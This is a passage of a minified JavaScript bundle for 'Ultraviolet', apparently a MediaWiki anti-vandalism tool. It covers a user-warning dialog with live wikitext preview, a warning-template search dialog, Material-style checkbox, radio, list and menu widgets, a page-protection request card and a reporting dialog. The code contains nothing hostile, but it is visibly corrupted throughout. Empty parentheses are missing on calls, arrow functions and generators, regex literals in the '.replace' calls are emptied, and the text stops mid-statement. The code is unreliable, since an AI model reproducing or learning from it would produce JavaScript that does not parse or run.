${f.APP_SIGNATURE}${(0,h.isIPAddress)(this.mwdUser.MWDUser.user.username)&&null!=(null===(l=g.default.c.warnings)||void 0===l?void 0:l.ipAdvice)?"\n"+g.default.c.warnings.ipAdvice:""}`}updatePreview(e=!1){var t,n,r,a,s,l,c,d,u;return(0,i.__awaiter)(this,void 0,void 0,(function*{if(Date.now-this.lastUpdateCall<1e3&&!e)return;const i=this.warningWikitext;if(_.default.trace("Loading preview...",{wikitext:i}),null==i)return;this.mwdXray.classList.toggle("uv-mdc-warnDialog-xray--loading",!0);const h=this.lastUpdateCall=Date.now,f=yield p.MediaWikiAPI.post({action:"parse",format:"json",title:null!==(a=null===(r=null===(n=null===(t=this.user)||void 0===t?void 0:t.talkPage)||void 0===n?void 0:n.title)||void 0===r?void 0:r.toString)&&void 0!==a?a:"Example",text:i,contentmodel:"wikitext",prop:"text",pst:!0,assert:"user",disablelimitreport:!0});+this.mwdXray.getAttribute("data-last-update")>h?_.default.trace(`Too late! (${h-+this.mwdXray.getAttribute("data-last-update")})`):(this.mwdXray.classList.toggle("uv-mdc-warnDialog-xray--loading",!1),this.mwdXray.querySelector(".uv-mdc-warnDialog-xray--content").innerHTML=null!==(u=null!==(c=null===(l=null===(s=null==f?void 0:f.parse)||void 0===s?void 0:s.text)||void 0===l?void 0:l["*"])&&void 0!==c?c:null===(d=null==f?void 0:f.parse)||void 0===d?void 0:d.text)&&void 0!==u?u:`${o.default.t("misc:parser.wikiTxtParseError")}`,this.mwdXray.querySelectorAll("a").forEach((e=>{e.target="_blank"})),_.default.trace("Preview ready."),this.mwdXray.setAttribute("data-last-update",`${h}`),this.uiValidate)}))}uiValidate{const e=this.mwdErrors.validator.update;this.dialogConfirmButton.toggleAttribute("disabled",!0!==e)}show{return(0,s.upgradeMaterialDialog)(this,{onPostInit:e=>{e.autoStackButtons=!1,null==this.user&&mw.config.get("wgRelevantUserName")&&(this.mwdUser.MWDUser.updateUser(p.User.fromUsername(mw.config.get("wgRelevantUserName"))),this.uiValidate),this.updatePreview},onClose:e=>(0,i.__awaiter)(this,void 0,void 0,(function*{return"confirm"===e.detail.action?{warningText:this.warningWikitext,targetUser:this.user,additionalText:this.mwdReason.MWDReason.additionalText,relatedPage:this.mwdReason.MWDReason.relatedPage,warnLevel:this.mwdReason.MWDReason.warningLevel,warning:this.mwdReason.MWDReason.warning}:null}))}).then((e=>e.wait))}render{var e,t,n,i,a,s,p;return this.element=(0,r.h)(c.default,{surfaceProperties:{class:"uv-mdc-warnDialog mdc-dialog__surface",style:{width:null!==(e=this.props.width)&&void 0!==e?e:"50vw",height:"95vh"},"aria-modal":!0,"aria-labelledby":null!==(t=this.props.title)&&void 0!==t?t:o.default.t("ui:warn.title")},id:this.id},(0,r.h)(c.MaterialDialogTitle,{tabIndex:0},(0,r.h)("span",{style:{float:"left"}},null!==(n=this.props.title)&&void 0!==n?n:o.default.t("ui:warn.title"))),(0,r.h)("br",null),(0,r.h)(c.MaterialDialogContent,{style:(0,v.default)({overflowY:"auto",overflowX:"hidden"})},null!==(i=this.mwdUser)&&void 0!==i?i:this.mwdUser=(0,r.h)(d.default,{warnDialog:this,originalUser:this.props.targetUser}),null!==(a=this.mwdReason)&&void 0!==a?a:this.mwdReason=(0,r.h)(u.default,{warnDialog:this,defaultReason:this.props.defaultWarnReason,defaultLevel:this.props.defaultWarnLevel,relatedPage:this.props.relatedPage}),null!==(s=this.mwdXray)&&void 0!==s?s:this.mwdXray=(0,r.h)("fieldset",{class:"uv-mdc-warnDialog-xray"},(0,r.h)("legend",null,"Preview"),(0,r.h)("div",{class:"uv-mdc-warnDialog-xray--content"}))),(0,r.h)(c.MaterialDialogActions,null,null!==(p=this.mwdErrors)&&void 0!==p?p:this.mwdErrors=(0,r.h)(A.default,{languageKey:"ui:warn.validation.fail",detailedLanguageKey:"ui:warn.validation.failDetailed",validators:this.validationChecks}),(0,r.h)(l.default,{dialogAction:"cancel"},o.default.t("ui:cancel")),this.dialogConfirmButton=(0,r.h)(l.default,{dialogAction:"confirm",raised:!0,disabled:!0},o.default.t("ui:warn.ok")))),this.uiValidate,this.element}}t.default=b},7242:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=n(830),o=n(5933),a=n(1566),s=(0,i.__importDefault)(n(6359)),l=(0,i.__importStar)(n(604));n(9561);const c=n(4802),d=(0,i.__importStar)(n(8963)),u=n(8910),p=(0,i.__importDefault)(n(1261)),h=(0,i.__importDefault)(n(4972));function f(e){var t;const n=(0,r.h)(d.default,{class:"uv-mdc-warnSearchDialog--searchInput",label:p.default.t("ui:warn.templateSearchDialog.searchBoxLabel"),defaultText:null!==(t=e.defaultText)&&void 0!==t?t:""}),i=(0,d.MaterialTextInputUpgrade)(n);if(i.textField.listen("keyup",(t=>{e.events.onChange(Object.assign(t,{value:i.textField.value})),"Enter"===t.key&&e.events.onSubmit(document.querySelector(".uv-mdc-warnSearchDialog-warning--top").getAttribute("data-uv-warning"))})),null!=e.defaultText){const e=t=>{const n=t.target;n.selectionStart=n.selectionEnd=n.value.length,i.textField.unlisten("focusin",e)};i.textField.listen("focusin",e)}const o=(0,r.h)("div",{class:"uv-mdc-warnSearchDialog--searchBar"},n);return i.textField.listen("focusout",(=>{o.classList.toggle("uv-mdc-warnSearchDialog--searchBar--focused",!1)})),i.textField.listen("focusin",(=>{o.classList.toggle("uv-mdc-warnSearchDialog--searchBar--focused",!0)})),o}function g(e){const t=[];for(const[n,i]of Object.entries(c.WarningManager.warningsByCategories)){const o=(0,r.h)("div",{class:"uv-warningCategory","data-uv-warningCategory":c.WarningManager.warningCategoriesMap[n].id},c.WarningManager.warningCategoriesMap[n].label);t.push(o);const a=[];for(const[t,n]of Object.entries(i)){const i=(0,r.h)(h.default,{id:t,warning:n});i.addEventListener("click",(n=>{if(i.hasAttribute("data-lastclick")&&Date.now-+i.getAttribute("data-lastclick")<300||n.shiftKey)return e.dialog.performSelect(Object.assign(n,{warningId:t})),void e.dialog.dialog.close("submit");i.setAttribute("data-lastclick",`${Date.now}`),e.dialog.performSelect(Object.assign(n,{warningId:t}))})),e.dialog.addSelectListener((e=>{i.classList.toggle("uv-warning-selected",e.warningId===t)})),e.dialog.addChangeListener((e=>{if(null==e.value||0===e.value.length)return void i.classList.toggle("uv-warnSearch-hidden",!1);const t=new RegExp((0,u.regexEscape)(e.value),"gi");i.classList.toggle("uv-warnSearch-hidden",!(t.test(n.name)||null!=n.keywords&&n.keywords.reduce(((e,n)=>e||t.test(n)),!1)||t.test(n.template)))})),a.push(i)}e.dialog.addChangeListener((=>{o.classList.toggle("uv-warnSearch-hidden",a.filter((e=>e.classList.contains("uv-warnSearch-hidden"))).length==a.length)})),t.push(...a)}return e.dialog.addChangeListener((=>{document.querySelectorAll(".uv-mdc-warnSearchDialog-warning--top").forEach((e=>{e.classList.remove("uv-mdc-warnSearchDialog-warning--top");const t=document.querySelector(".uv-mdc-warnDialog-searchDialog-instantSelect");t.parentElement.removeChild(t)}));for(const e of t)if(!e.classList.contains("uv-warnSearch-hidden")&&e.classList.contains("uv-mdc-warnSearchDialog-warning")){e.classList.add("uv-mdc-warnSearchDialog-warning--top"),e.querySelector("table").insertAdjacentElement("afterend",(0,r.h)("div",{class:"uv-mdc-warnDialog-searchDialog-instantSelect"},p.default.t("ui:warn.templateSearchDialog.instantSelect").toString));break}})),(0,r.h)("div",{class:"uv-mdc-warnSearchDialog--warnings"},t)}class m extends o.UVUIDialog{constructor(e){var t;super(e),this.events={change:[],select:[]},this.props.width=null!==(t=e.width)&&void 0!==t?t:"80vw"}addChangeListener(e){this.events.change.push(e)}addSelectListener(e){this.events.select.push(e)}performChange(e){var t;for(const n of this.events.change)if(null!==(t=n(e))&&void 0!==t&&!t)break}performSelect(e){var t;for(const n of this.events.select)if(null!==(t=n(e))&&void 0!==t&&!t)break;this.selectedWarning=c.WarningManager.warnings[e.warningId];const n=this.actions;n.parentElement.replaceChild(this.actions=(0,r.h)(l.MaterialDialogActions,null,(0,r.h)("div",{class:"uv-mdc-dialog-helperText uv-mdc-subtitle"},p.default.t("ui:warn.templateSearchDialog.tip").toString),this.renderActions),n)}show{return(0,a.upgradeMaterialDialog)(this,{onClose:=>this.selectedWarning}).then((e=>e.wait))}renderActions{return[(0,r.h)(s.default,{dialogAction:"cancel"},"Cancel"),(0,r.h)(s.default,{dialogAction:"submit",disabled:null==this.selectedWarning},"Select")]}render{var e,t,n;return this.element=(0,r.h)(l.default,{surfaceProperties:{class:"mdc-dialog__surface uv-mdc-warnSearchDialog",style:`width:${null!==(e=this.props.width)&&void 0!==e?e:"70vw"};height:90vh;`,"aria-modal":!0,"aria-labelledby":null!==(t=this.props.title)&&void 0!==t?t:"Ultraviolet dialog"},id:this.id},(0,r.h)(l.MaterialDialogTitle,null,null!==(n=this.props.title)&&void 0!==n?n:p.default.t("ui:warn.templateSearchDialog.dialogTitle").toString),(0,r.h)(l.MaterialDialogContent,null,(0,r.h)(f,{events:{onChange:e=>{this.performChange(e)},onSubmit:e=>{this.selectedWarning=c.WarningManager.warnings[e],this.dialog.close("submit")}},defaultText:this.props.startingText}),(0,r.h)(g,{dialog:this})),this.actions=(0,r.h)(l.MaterialDialogActions,null,(0,r.h)("div",{class:"uv-mdc-dialog-helperText uv-mdc-subtitle"},p.default.t("ui:warn.templateSearchDialog.tip").toString),this.renderActions)),this.performChange(Object.assign(new Event("placeholder"),{value:this.props.startingText})),this.element}}t.default=m},3854:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=n(830),o=(0,i.__importDefault)(n(1261));t.default=function{return(0,r.h)("span",{class:"bullet"},o.default.t("common:bullet"))}},6359:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=n(830),o=(0,i.__importDefault)(n(1493)),a=(0,i.__importDefault)(n(4236)),s=n(9052);t.default=function(e){var t;const{dialogAction:n,children:i,icon:l,contentStyle:c,iconColor:d,style:u,disabled:p,raised:h}=e,f=["mdc-button",...null!==(t=e.class)&&void 0!==t?t:[]];return n&&f.push("mdc-dialog__button"),h&&s.Configuration.Accessibility.raiseActionButtons.value&&f.push("mdc-button--raised"),(0,r.h)("button",Object.assign({type:"button",class:f.join(" "),"data-mdc-dialog-action":null!=n&&("string"==typeof n?n:n.data),style:(0,a.default)(u),disabled:p},(0,o.default)(e),{onClick:e.onClick}),(0,r.h)("div",{class:"mdc-button__ripple"}),l&&(0,r.h)("i",Object.assign({class:"material-icons mdc-button__icon","aria-hidden":"true"},d&&{style:(0,a.default)({color:d})}),l),(0,r.h)("span",Object.assign({class:"mdc-button__label"},c&&{style:c}),i))}},5569:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.MaterialCheckboxUpgrade=t.MaterialCheckboxTrack=void 0;const i=n(655),r=n(830),o=n(8910),a=n(5886),s=(0,i.__importDefault)(n(5337)),l=(0,i.__importDefault)(n(5504));function c(e){return e.classList.add("uv-mdc--upgraded"),new a.MDCCheckbox(e)}t.MaterialCheckboxTrack=new Map,t.default=function(e){var n;const i=null!==(n=e.id)&&void 0!==n?n:(0,o.generateId)(8),a=(0,r.h)("div",{id:i,class:(0,s.default)("mdc-checkbox",`mdc-checkbox--${e.default?"":"un"}selected`,e.class),type:"button",role:"checkbox","aria-checked":e.default?"true":"false"},(0,r.h)("input",{type:"checkbox",class:"mdc-checkbox__native-control",id:"checkbox-1"}),(0,r.h)("div",{class:"mdc-checkbox__background"},(0,r.h)("svg",{class:"mdc-checkbox__checkmark",viewBox:"0 0 24 24"},(0,r.h)("path",{class:"mdc-checkbox__checkmark-path",fill:"none",d:"M1.73,12.91 8.1,19.28 22.79,4.59"})),(0,r.h)("div",{class:"mdc-checkbox__mixedmark"})),(0,r.h)("div",{class:"mdc-checkbox__ripple"})),d=c(a);return d.initialize,d.initialSyncWithDOM,l.default.info("MaterialCheckbox",{props:e,element:a,component:d}),e.disabled&&(d.disabled=!0),e.default&&(d.checked=!0),d.listen("change",(t=>{l.default.trace("MaterialCheckbox change",{event:t}),e.onChange&&e.onChange(d.checked,t)})),t.MaterialCheckboxTrack.set(i,{element:a,props:e,component:d}),a},t.MaterialCheckboxUpgrade=c},4913:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.MaterialDialogValidatorController=t.MaterialDialogValidatorDialog=void 0;const i=n(655),r=(0,i.__importDefault)(n(4873)),o=(0,i.__importDefault)(n(1261)),a=(0,i.__importDefault)(n(323)),s=n(830),l=n(5933),c=n(1566),d=(0,i.__importStar)(n(604)),u=n(8910),p=(0,i.__importDefault)(n(6359));n(5545);class h extends l.UVUIDialog{constructor(e){super,this.props=e}show{return(0,c.upgradeMaterialDialog)(this).then((e=>e.wait))}renderContent{if(!0===this.props.tests)return(0,s.h)("div",null,o.default.t("ui:validation.pass"));const e=this.props.tests.map((e=>e.id));return(0,s.h)("div",null,o.default.t("ui:validation.dialog.intro",{count:e.length}).toString,(0,s.h)("ul",null,e.reduce(((e,t)=>(e.push((0,s.h)("li",null,o.default.t(this.props.detailedLanguageKey,{context:t}))),e)),[])))}render{var e;return this.element=(0,s.h)(d.default,{id:(0,u.generateId)},(0,s.h)(d.MaterialDialogTitle,null,null!==(e=this.props.title)&&void 0!==e?e:o.default.t("ui:validation.dialog.title")),(0,s.h)(d.MaterialDialogContent,null,this.renderContent),(0,s.h)(d.MaterialDialogActions,null,(0,s.h)(p.default,{dialogAction:"ok"},o.default.t("ui:ok"))))}}t.MaterialDialogValidatorDialog=h;class f extends r.default{constructor(e){super,this.props=e}validate{const e=this.props.validators.map((e=>({check:e,result:e.test})));return!!e.reduce(((e,t)=>e&&t.result),!0)||e.filter((e=>!e.result)).map((e=>e.check))}update{const e=this.element,t=this.render;return e.parentElement.replaceChild(t,e),this.visibleValidationResults}render{return this.visibleValidationResults=this.validate,this.element=(0,s.h)("span",{class:"uv-mdc-validation","data-valid":!0===this.visibleValidationResults},(!0!==this.visibleValidationResults||!1!==this.props.showWhenPassing)&&(0,s.h)(a.default,{icon:!0!==this.visibleValidationResults?"error":"check_circle",tooltip:o.default.t(!0!==this.visibleValidationResults?"ui:validation.tooltip.fail":"ui:validation.tooltip.pass").toString,onClick:!0!==this.visibleValidationResults?=>{new h({detailedLanguageKey:this.props.detailedLanguageKey,tests:this.visibleValidationResults}).show}:=>{}}),!0!==this.visibleValidationResults&&(0,s.h)("div",{class:"uv-mdc-dialog-helperText"},o.default.t(this.props.languageKey,{context:this.visibleValidationResults[0].id})))}}t.MaterialDialogValidatorController=f,t.default=function(e){const t=new f(e);return Object.assign(t.render,{validator:t})}},3284:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=n(830),o=(0,i.__importDefault)(n(1493));t.default=function(e){const{icon:t,iconColor:n}=e;return(0,r.h)("span",Object.assign({class:"material-icons",style:`color:${null!=n?n:"initial"};`},(0,o.default)(e)),t)}},323:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=n(830),o=(0,i.__importDefault)(n(1493)),a=n(7933),s=(0,i.__importDefault)(n(4236)),l=(0,i.__importDefault)(n(5337));t.default=function(e){const{onClick:t,label:n,icon:i,iconColor:c,tooltip:d,ripple:u}=e,p=(0,r.h)("button",Object.assign({id:e.id,type:"button",class:(0,l.default)("mdc-icon-button","material-icons",e.class),disabled:e.disabled,"aria-label":n,"data-uv-mdc-tooltip":("string"==typeof d||!1!==d&&!!n)&&(null!=d?d:n),onClick:t,style:(0,s.default)({color:c})},(0,o.default)(e),{"data-mdc-ripple-is-unbounded":!0}),(null==u||u)&&(0,r.h)("span",{class:"mdc-icon-button__ripple"}),i);return(null==u||u)&&new a.MDCRipple(p),p}},2355:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.MaterialInputCardState=void 0;const i=n(655),r=n(830),o=(0,i.__importDefault)(n(5337)),a=(0,i.__importDefault)(n(1261)),s=(0,i.__importStar)(n(8963)),l=(0,i.__importDefault)(n(323));n(5946);const c=(0,i.__importDefault)(n(9158)),d=(0,i.__importDefault)(n(5504));var u;!function(e){e[e.Blank=0]="Blank",e[e.Input=1]="Input",e[e.Loading=2]="Loading",e[e.Ready=3]="Ready"}(u=t.MaterialInputCardState||(t.MaterialInputCardState={}));t.default=class{constructor(e){this._state=u.Blank,this.elementSet={},this.props=e,this.defaultValue=e.value}get state{return this._state}set state(e){this._state=e,this.elementSet.root&&this.elementSet.root.setAttribute("data-state",u[e].toLowerCase)}renderInput{var e,t,n,i;let o;const a=(0,r.h)("div",{class:"uv-mdc-inputCard-input"},o=(0,r.h)(s.default,{width:"400px",label:this.props.label}),this.elementSet.inputSubmit=(0,r.h)(l.default,{icon:null!==(e=this.props.submitIcon)&&void 0!==e?e:"send",onClick:=>{this.change(this.elementSet.inputBox.components.textField.value)},disabled:!0,"data-uv-mdc-tooltip":null===(t=this.props.i18n)||void 0===t?void 0:t.inputSubmit}),this.elementSet.inputCancel=(0,r.h)(l.default,{icon:null!==(n=this.props.cancelIcon)&&void 0!==n?n:"cancel",onClick:=>{this.cancelInput},"data-uv-mdc-tooltip":null===(i=this.props.i18n)||void 0===i?void 0:i.inputCancel}));return this.elementSet.inputBox={element:o,components:(0,s.MaterialTextInputUpgrade)(o)},this.elementSet.inputBox.components.textField.listen("keypress",(e=>{const t=this.elementSet.inputBox.components.textField.value,n=0===t.length;n||"Enter"!==e.key||this.change(t),this.elementSet.inputSubmit.toggleAttribute("disabled",n)})),a}renderLoading{var e,t;return(0,r.h)("div",{class:"uv-mdc-inputCard-loading"},this.elementSet.loadingText=(0,r.h)("div",{class:"uv-mdc-inputCard-loading__title"},this.value),(0,r.h)("div",{class:"uv-mdc-inputCard-loading__subtitle"},null!==(t=null===(e=this.props.i18n)||void 0===e?void 0:e.loadingText)&&void 0!==t?t:`${a.default.t("common:load")}`))}render{var e;return this.elementSet.root=(0,r.h)("div",{class:(0,o.default)("uv-mdc-inputCard","mdc-card",!!this.props.outlined&&"mdc-card--outlined",...null!==(e=this.props.class)&&void 0!==e?e:[])},this.elementSet.main=(0,r.h)("div",{class:"uv-mdc-inputCard-main"}),this.elementSet.input=this.renderInput,this.elementSet.loading=this.renderLoading),this.defaultValue?this.change(this.defaultValue):this.beginInput,this.elementSet.root}replaceMain(e){null!=this.elementSet.main&&(this.elementSet.main.parentElement.replaceChild(e,this.elementSet.main),e.classList.toggle("uv-mdc-inputCard-main",!0),this.elementSet.main=e)}beginInput{this.value?(this.elementSet.inputSubmit.toggleAttribute("disabled",!1),this.elementSet.inputCancel.style.display="",this.elementSet.inputBox.components.textField.value=this.value):this.elementSet.inputCancel.style.display="none",this.state=u.Input,this.elementSet.inputBox.components.textField.focus}cancelInput{this.state=u.Ready}change(e){if(e===this.value)return void(this.state=u.Ready);this.value=e,this.elementSet.inputCancel.toggleAttribute("disabled",!1);const t=this.renderMain(e);t instanceof Promise?(this.state=u.Loading,this.elementSet.loadingText.innerText=e,t.then((e=>{this.replaceMain(e),this.state=u.Ready})).catch((e=>{this.beginInput,c.default.Toast.quickShow({content:a.default.t("mediawiki:error.apiError")}),d.default.error("Failed to run `renderMain`.",e)}))):(this.replaceMain(t),this.state=u.Ready)}}},6968:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.MaterialListDivider=t.MaterialListSubheader=t.MaterialListItem=t.MaterialList=void 0;const i=n(655),r=n(830),o=n(7933),a=n(4072),s=(0,i.__importDefault)(n(4236)),l=(0,i.__importDefault)(n(5337));t.MaterialList=function(e){var t;const n=(0,r.h)("ul",Object.assign({},Object.fromEntries(Object.entries(e).filter((([e])=>!["children","initialized"].includes(e)))),{class:`mdc-list ${null!==(t=e.class)&&void 0!==t?t:""}`}),e.children);return!1!==e.initialized&&new a.MDCList(n),n},t.MaterialListItem=function(e){var t,n,i;const a=(0,r.h)("span",{class:"mdc-list-item__ripple"});return new o.MDCRipple(a),(0,r.h)("li",Object.assign({},Object.fromEntries(Object.entries(e).filter((([e])=>!["children","icon"].includes(e)))),{class:(0,l.default)(["mdc-list-item","mdc-list-item--with-one-line",e.class])}),a,e.icon&&(0,r.h)("span",{class:"mdc-deprecated-list-item__graphic material-icons","aria-hidden":"true",style:(0,s.default)({color:null!==(n=null!==(t=e.iconColor)&&void 0!==t?t:e.color)&&void 0!==n?n:void 0})},e.icon),(0,r.h)("span",{class:"mdc-list-item__text",style:(0,s.default)({color:null!==(i=e.color)&&void 0!==i?i:void 0})},e.children))},t.MaterialListSubheader=function(e){return(0,r.h)("h3",{class:"mdc-list-group__subheader"},e.children)},t.MaterialListDivider=function{return(0,r.h)("li",{role:"separator",class:"mdc-list-divider"})}},9821:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.openMenu=void 0;const i=n(7785),r=n(830),o=n(6968),a=new Map;t.openMenu=function(e){const t=a.get(e);t.open=!0,document.querySelectorAll("[data-menu-id]").forEach((e=>{if(e.getAttribute("data-menu-id")===t.root.id){const n=e.getBoundingClientRect;t.setAbsolutePosition(n.left,n.top+e.clientHeight)}}))},t.default=function(e){const t=(0,r.h)("span",{"data-append-event":!0},(0,r.h)("div",{id:e.id,class:"mdc-menu mdc-menu-surface"},(0,r.h)(o.MaterialList,{initialized:!1,role:"menu","aria-hidden":"true","aria-orientation":"vertical",tabIndex:-1},e.items.map((e=>(0,r.h)(o.MaterialListItem,{role:"menuitem",onClick:=>{e.action},icon:e.icon},e.label))))));return t.addEventListener("animationstart",(=>{t.parentElement!==document.body&&document.body.appendChild(t),a.set(e.id,new i.MDCMenu(t.querySelector(".mdc-menu")))})),t}},6807:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.MaterialProtectionRequestDialogPage=void 0;const i=n(655),r=n(830),o=(0,i.__importDefault)(n(2355)),a=n(4802),s=(0,i.__importDefault)(n(1261)),l=(0,i.__importDefault)(n(4236)),c=n(8910),d=(0,i.__importDefault)(n(8939)),u=n(2440);class p extends o.default{constructor(e){super(e),this.parent=e.parent,this.props.outlined=!0,this.props.i18n=s.default.t("ui:protectionRequest.page",{returnObjects:!0})}renderMain(e){var t,n,o;return(0,i.__awaiter)(this,void 0,void 0,(function*{this.parent.page=a.Page.fromTitle(e),this.parent.protectionInformation=null,this.parent.protectionInformation=yield a.ProtectionManager.getProtectionInformation(this.parent.page),this.parent.protectionReasons=yield a.ProtectionManager.getProtectionReasons(this.parent.page);const i=[];for(const e of this.parent.protectionInformation){if("edit"!==e.type&&"_flaggedrevs"!==e.type)continue;const a=null===(n=null===(t=d.default.c.protection)||void 0===t?void 0:t.levels)||void 0===n?void 0:n.find((t=>"_flaggedrevs"===e.type&&"_flaggedrevs"===t.id||t.id===e.level)),p=(0,u.isFlaggedRevsProtectionEntry)(e)?"":null!=e.cascade?s.default.t("ui:protectionRequest.info.cascading"):null!=e.source?s.default.t("ui:protectionRequest.info.cascaded"):"";i.push((0,r.h)("div",{style:(0,l.default)({display:"block"}),class:"uv-mdc-prd-protectionLevel"},(null==a?void 0:a.iconURL)?(0,r.h)("img",{alt:a.name,src:a.iconURL}):(0,r.h)("span",{class:"material-icons",style:(0,l.default)({color:null!==(o=null==a?void 0:a.color)&&void 0!==o?o:"black"})},"lock"),(0,r.h)("span",{class:"uv-mdc-protectionLevels--name"},`${(0,c.capitalize)(null!=a?s.default.t("ui:protectionRequest.info.detailed",Object.assign(Object.assign({statusName:a.statusName},"infinity"===e.expiry?{context:"indefinite"}:{date:e.expiry.toLocaleString}),{note:p.length>0?s.default.t("ui:protectionRequest.info.note",{detail:p}):""})):s.default.t("ui:protectionRequest.info.fallback",Object.assign(Object.assign({type:e.type,level:e.level},"infinity"===e.expiry?{context:"indefinite"}:{date:e.expiry.toLocaleString}),{note:p.length>0?s.default.t("ui:protectionRequest.info.note",{detail:p}):""})))}`)))}return 0===i.length&&i.push((0,r.h)("div",{style:(0,l.default)({display:"inline-block"}),class:"uv-mdc-prd-protectionLevel"},(0,r.h)("span",{class:"material-icons",style:(0,l.default)({color:"black"})},"lock_open"),(0,r.h)("span",{class:"uv-mdc-protectionLevels--name"},s.default.t("ui:protectionRequest.info.unprotected")))),(0,r.h)("div",null,(0,r.h)("div",{class:"uv-mdc-prd-title__title"},(0,r.h)("span",{onClick:=>{this.beginInput},"data-uv-mdc-tooltip":s.default.t("ui:protectionRequest.page.change")},e)),(0,r.h)("div",{class:"uv-mdc-prd-protectionInfo"},i))}))}}t.MaterialProtectionRequestDialogPage=p,t.default=function(e){const t=new p(e);return Object.assign(t.render,{MPRDTitle:t})}},1515:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=n(830),o=n(8910),a=n(4394),s=(0,i.__importDefault)(n(5337));t.default=function(e){const t=`uvMdcRadio__${(0,o.generateId)}`,n=(0,r.h)("div",{class:(0,s.default)("mdc-radio",e.checked&&"mdc-radio--checked",e.disabled&&"mdc-radio--disabled")},(0,r.h)("input",Object.assign({class:"mdc-radio__native-control",type:"radio",id:t,name:e.name},e.checked&&{checked:!0},{disabled:e.disabled})),(0,r.h)("div",{class:"mdc-radio__background"},(0,r.h)("div",{class:"mdc-radio__outer-circle"}),(0,r.h)("div",{class:"mdc-radio__inner-circle"})),(0,r.h)("div",{class:"mdc-radio__ripple"})),i=(0,r.h)("span",{class:"uv-mdc-radio","data-uv-mdc-tooltip":e.tooltip},n,(0,r.h)("label",{for:t},e.children)),l=new a.MDCRadio(n);return Object.assign(i,{MDCRadio:l,radioValue:e.value,enable{l.disabled=!1},disable{l.disabled=!0}})}},4549:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=n(830),o=(0,i.__importDefault)(n(1515)),a=n(8910);t.default=function(e){var t;const n=`uvMdcRadioField__${(0,a.generateId)}`,i=e.radios.map((t=>{var i,a,s,l;return(0,r.h)(o.default,Object.assign({},Object.assign({},t,{name:null!==(i=e.name)&&void 0!==i?i:n,disabled:null!==(s=null!==(a=e.disabled)&&void 0!==a?a:t.disabled)&&void 0!==s&&s})),null!==(l=t.children)&&void 0!==l?l:`${t.value}`)})),s=(0,r.h)("div",{id:n,class:`mdc-form-field uv-mdc-radiofield--${null!==(t=e.direction)&&void 0!==t?t:"horizontal"} ${e.class?Array.isArray(e.class)?e.class.join(" "):e.class:""}`},i);return s.addEventListener("change",(=>{for(const t of i)if(t.MDCRadio.checked){e.onChange(t.radioValue,t);break}})),Object.assign(s,{MDCRadios:i,reset{i.forEach((e=>e.MDCRadio.checked=!1)),e.onChange(null,null)},enable{i.forEach((e=>e.enable))},disable{i.forEach((e=>e.disable))}})}},9735:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.MaterialReportingDialogInfoController=void 0;const i=n(655),r=n(830),o=(0,i.__importDefault)(n(4873)),a=(0,i.__importDefault)(n(4140)),s=n(8686),l=(0,i.__importDefault)(n(1261)),c=(0,i.__importStar)(n(8963)),d=n(4802);class u extends o.default{constructor(e){super,this.props=e,this.elements={},this.comments=(0,s.isEmailReportVenue)(this.venue)&&this.venue.prefill.replace(//g,window.location.href).replace(//g,new URL(this.props.reportingDialog.target.url,window.location.href).toString).replace(//g,d.ClientUser.i.username)||""}get venue{return this.props.reportingDialog.venue}get target{return this.props.reportingDialog.target}get subject{return this.props.reportingDialog.subject}set subject(e){this.props.reportingDialog.subject=e}get reason{return this.props.reportingDialog.reason}set reason(e){this.props.reportingDialog.reason=e}get comments{return this.props.reportingDialog.comments}set comments(e){this.props.reportingDialog.comments=e}renderSubject{if((0,s.isEmailReportVenue)(this.venue)){const e=this.target instanceof d.User?this.target.username:this.target.title.getPrefixedText,t=(0,r.h)(c.default,{class:"uv-mdc-reportingDialog--subject",label:l.default.t("ui:reporting.subject.label"),defaultText:this.venue.subject.replace(//g,e)});return this.elements.subject=(0,c.MaterialTextInputUpgrade)(t),this.elements.subject.textField.listen("input",(=>{this.subject=this.elements.subject.textField.value})),t}return null}renderDropdown{return(0,s.isPageReportVenue)(this.venue)?this.elements.dropdown=(0,r.h)(a.default,{label:l.default.t("ui:reporting.info.reason.label"),items:[{type:"action",label:l.default.t("ui:reporting.info.reason.other"),value:null},{type:"header",label:l.default.t("ui:reporting.info.reason.default")},...this.venue.defaultReasons.map((e=>({type:"action",label:e,value:e})))],onChange:(e,t)=>{this.elements.comments.textField.required=null===t,this.reason=t,this.props.reportingDialog.uiValidate},required:!0}):null}renderCommentsBox{return this.elements.comments=(0,c.MaterialTextInputUpgrade)((0,r.h)(c.default,{label:l.default.t("ui:reporting.info.comments.label"),helperText:l.default.t("ui:reporting.info.comments.placeholder"),defaultText:this.comments,outlined:!0,area:!0,required:!0})),this.elements.comments.textField.listen("input",(=>{this.comments=this.elements.comments.textField.value,this.props.reportingDialog.uiValidate})),this.elements.comments.element}render{return this.elements.root=(0,r.h)("div",{class:"uv-mdc-reportingDialog-info"},this.renderSubject,this.renderDropdown,this.renderCommentsBox),this.elements.root}}t.MaterialReportingDialogInfoController=u,t.default=function(e){const t=new u(e);return Object.assign(t.render,{MRDInfo:t})}},5527:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.MaterialReportingDialogPageController=void 0;const i=n(655),r=n(4802),o=(0,i.__importStar)(n(8963)),a=n(830),s=(0,i.__importDefault)(n(1261)),l=n(8686);class c{constructor(e){this.props=e,this.elements={},this.target=e.originalTarget}get venue{return this.props.reportingDialog.props.venue}set target(e){this.props.reportingDialog.target=e}render{return 